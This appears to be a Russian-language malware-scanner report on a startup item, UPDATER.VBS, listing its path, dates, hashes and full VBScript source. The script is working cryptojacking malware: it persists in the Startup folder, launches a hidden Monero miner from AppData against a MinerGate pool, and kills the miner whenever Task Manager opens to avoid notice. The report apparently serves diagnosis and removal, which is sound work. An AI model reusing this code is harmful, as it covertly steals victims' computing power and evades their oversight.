Полное имя C:\USERS\ELENA\APPDATA\ROAMING\MICROSOFT\WINDOWS\S TART MENU\PROGRAMS\STARTUP\UPDATER.VBS
Имя файла UPDATER.VBS
Тек. статус в автозапуске
Сохраненная информация на момент создания образа
Статус в автозапуске
Размер 1407 байт
Создан 08.07.2017 в 09:27:04
Изменен 08.07.2017 в 17:47:28
Цифр. подпись Отсутствует либо ее не удалось проверить
Доп. информация на момент обновления списка
SHA1 25B6E9783474891C572C877DC105A6EC435D9364
MD5 A0487FF7501FCC03A0A8D64EF8E89668
#FILE# Set WshShell = CreateObject("WScript.Shell")
Set WshShell = Nothing
On error resume next
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL",wbemFlagReturnImmediately + wbemFlagForwardOnly)
cores=0
For Each objItem In colItems
cores=cores + objItem.NumberOfLogicalProcessors
Next
cores=cores-1
do
WScript.Sleep 500
Set taskcolitem = objWMIService.ExecQuery("Select * from Win32_Process")
taskmgrisrun=false
For Each objItem in taskcolitem
If objItem.Name="Taskmgr.exe" OR objItem.Name="taskmgr.exe" Then
taskmgrisrun=True
Exit For
End If
Next
Running = False
Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")
For Each objItem in colItems
If objItem.Name = "pciemngr.exe" Then
Running = True
Set thisprocess=objItem
Exit For
End If
Next
If taskmgrisrun Then
If Running Then
thisprocess.Terminate
End if
If Not Running Then
Running=True
End if
End if
If Not Running Then
WScript.Sleep 500
WshShell.Run WshShell.ExpandEnvironmentStrings("%APPDATA%")&"\A ledaxo\pciemngr.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u
[email protected] -p x -t "&cores, 0
End if
Loop
Ссылки на объект
Ссылка C:\USERS\ELENA\APPDATA\ROAMING\MICROSOFT\WINDOWS\S TART MENU\PROGRAMS\STARTUP